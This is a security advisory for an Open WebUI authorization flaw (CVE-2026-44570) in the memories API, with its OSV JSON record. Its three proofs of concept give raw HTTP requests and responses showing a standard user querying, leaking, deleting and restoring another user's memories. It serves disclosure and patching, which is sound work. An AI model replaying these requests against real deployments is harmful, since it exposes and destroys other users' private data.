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PYSEC-2026-2733

Vulnerability from pysec - Published: 2026-07-13 15:15 - Updated: 2026-07-13 16:05
VLAI
Details

Summary

Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories.

Details

Using a newly created non-admin user with no existing memories, it is possible to view existing memories via POST /api/v1/memories/query. See below under the PoC section, where a call to GET /api/v1/memories/ returns [] (as expected) but a call to POST /api/v1/memories/query reveals memories created by other users.

Similarly, even if a non-admin user cannot modify another user's memory data via POST /api/v1/memories/{memory_id}/update, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known.

The DELETE /api/v1/memories/{memory_id} can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the POST /api/v1/memories/{memory_id}/update endpoint again.

PoC 1

Example of a user with no memories able to query an existing memory from another user

GET /api/v1/memories/ HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 0

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:19:58 GMT
server: uvicorn
content-length: 2
content-type: application/json
x-process-time: 0

[]

POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:22:01 GMT
server: uvicorn
content-length: 187
content-type: application/json
x-process-time: 0
access-control-allow-origin: *
access-control-allow-credentials: true

{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]}

PoC 2

Example showing excess output about a memory a user has no access to modify

POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 23

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 18:53:37 GMT
server: uvicorn
content-length: 172
content-type: application/json
x-process-time: 0

{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616}

PoC 3

Example showing a memory being deleted then restored by a different user than its owner

DELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Connection: keep-alive

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:31:19 GMT
server: uvicorn
content-length: 4
content-type: application/json
x-process-time: 0

true

POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:32:31 GMT
server: uvicorn
content-length: 63
content-type: application/json
x-process-time: 0

{"ids":[[]],"documents":[[]],"metadatas":[[]],"distances":[[]]}

POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 23

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:33:05 GMT
server: uvicorn
content-length: 172
content-type: application/json
x-process-time: 0

{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616}

POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:33:34 GMT
server: uvicorn
content-length: 187
content-type: application/json
x-process-time: 0

{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]}

Impact

Potential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Impacted products
Name purl
open-webui pkg:pypi/open-webui
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui",
        "purl": "pkg:pypi/open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.124",
        "0.1.125",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.3.0",
        "0.3.1",
        "0.3.10",
        "0.3.12",
        "0.3.13",
        "0.3.14",
        "0.3.15",
        "0.3.16",
        "0.3.17",
        "0.3.17.dev2",
        "0.3.17.dev3",
        "0.3.17.dev4",
        "0.3.17.dev5",
        "0.3.18",
        "0.3.19",
        "0.3.2",
        "0.3.20",
        "0.3.21",
        "0.3.22",
        "0.3.23",
        "0.3.24",
        "0.3.25",
        "0.3.26",
        "0.3.27",
        "0.3.27.dev1",
        "0.3.27.dev2",
        "0.3.27.dev3",
        "0.3.28",
        "0.3.29",
        "0.3.3",
        "0.3.30",
        "0.3.30.dev1",
        "0.3.30.dev2",
        "0.3.31",
        "0.3.31.dev1",
        "0.3.32",
        "0.3.33",
        "0.3.33.dev1",
        "0.3.34",
        "0.3.35",
        "0.3.4",
        "0.3.5",
        "0.3.6",
        "0.3.7",
        "0.3.8",
        "0.3.9",
        "0.4.0",
        "0.4.0.dev1",
        "0.4.0.dev2",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.5",
        "0.4.6",
        "0.4.6.dev1",
        "0.4.7",
        "0.4.8",
        "0.5.0",
        "0.5.0.dev1",
        "0.5.0.dev2",
        "0.5.1",
        "0.5.10",
        "0.5.11",
        "0.5.12",
        "0.5.13",
        "0.5.14",
        "0.5.15",
        "0.5.16",
        "0.5.17",
        "0.5.18",
        "0.5.19",
        "0.5.2",
        "0.5.20",
        "0.5.3",
        "0.5.3.dev1",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.5.7",
        "0.5.8",
        "0.5.9",
        "0.6.0",
        "0.6.1",
        "0.6.10",
        "0.6.11",
        "0.6.12",
        "0.6.13",
        "0.6.14",
        "0.6.15",
        "0.6.16",
        "0.6.18",
        "0.6.2",
        "0.6.3",
        "0.6.4",
        "0.6.5",
        "0.6.6",
        "0.6.6.dev1",
        "0.6.7",
        "0.6.8",
        "0.6.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44570",
    "GHSA-hmjq-crxp-7rjw"
  ],
  "details": "### Summary\n\nAuthorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users\u0027 memories.\n\n\n### Details\n\nUsing a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users.\n\nSimilarly, even if a non-admin user cannot modify another user\u0027s memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint\u0027s response improperly leaks the content of that memory if a valid memory_id is known.\n\nThe `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again.\n\n### PoC 1\n\n**Example of a user with no memories able to query an existing memory from another user**\n\n```\nGET /api/v1/memories/ HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 0\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:19:58 GMT\nserver: uvicorn\ncontent-length: 2\ncontent-type: application/json\nx-process-time: 0\n\n[]\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:22:01 GMT\nserver: uvicorn\ncontent-length: 187\ncontent-type: application/json\nx-process-time: 0\naccess-control-allow-origin: *\naccess-control-allow-credentials: true\n\n{\"ids\":[[\"d6802d76-a50f-4255-b68e-0f60c335e043\"]],\"documents\":[[\"My secret content\"]],\"metadatas\":[[{\"created_at\":1752784616,\"updated_at\":1752864797}]],\"distances\":[[0.6216812525921495]]}\n```\n\n### PoC 2\n\n**Example showing excess output about a memory a user has no access to modify**\n\n```\nPOST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 23\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 18:53:37 GMT\nserver: uvicorn\ncontent-length: 172\ncontent-type: application/json\nx-process-time: 0\n\n{\"id\":\"d6802d76-a50f-4255-b68e-0f60c335e043\",\"user_id\":\"a050e531-356b-4673-8772-ff1aecdf3273\",\"content\":\"My secret content\",\"updated_at\":1752864797,\"created_at\":1752784616}\n```\n\n### PoC 3\n\n**Example showing a memory being deleted then restored by a different user than its owner**\n\n```\nDELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nConnection: keep-alive\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:31:19 GMT\nserver: uvicorn\ncontent-length: 4\ncontent-type: application/json\nx-process-time: 0\n\ntrue\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:32:31 GMT\nserver: uvicorn\ncontent-length: 63\ncontent-type: application/json\nx-process-time: 0\n\n{\"ids\":[[]],\"documents\":[[]],\"metadatas\":[[]],\"distances\":[[]]}\n```\n\n```\nPOST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\nAccept: application/json\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 23\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:33:05 GMT\nserver: uvicorn\ncontent-length: 172\ncontent-type: application/json\nx-process-time: 0\n\n{\"id\":\"d6802d76-a50f-4255-b68e-0f60c335e043\",\"user_id\":\"a050e531-356b-4673-8772-ff1aecdf3273\",\"content\":\"My secret content\",\"updated_at\":1752864797,\"created_at\":1752784616}\n```\n\n```\nPOST /api/v1/memories/query HTTP/1.1\nHost: localhost:8080\nContent-Length: 19\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE\nUser-Agent: Test\naccept: application/json\nContent-Type: application/json\nConnection: keep-alive\n\n{\n  \"content\": \"\"\n}\n\n---\n\nHTTP/1.1 200 OK\ndate: Fri, 18 Jul 2025 19:33:34 GMT\nserver: uvicorn\ncontent-length: 187\ncontent-type: application/json\nx-process-time: 0\n\n{\"ids\":[[\"d6802d76-a50f-4255-b68e-0f60c335e043\"]],\"documents\":[[\"My secret content\"]],\"metadatas\":[[{\"created_at\":1752784616,\"updated_at\":1752864797}]],\"distances\":[[0.6216812525921495]]}\n```\n\n### Impact\n\nPotential disclosure of sensitive data stored within a user\u0027s memories. Disclosure of unique user ID values to non-admins when viewing a memory.",
  "id": "PYSEC-2026-2733",
  "modified": "2026-07-13T16:05:13.111732Z",
  "published": "2026-07-13T15:15:43.981118Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hmjq-crxp-7rjw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44570"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/open-webui"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-hmjq-crxp-7rjw"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has inconsistent authorization controls within memories API"
}



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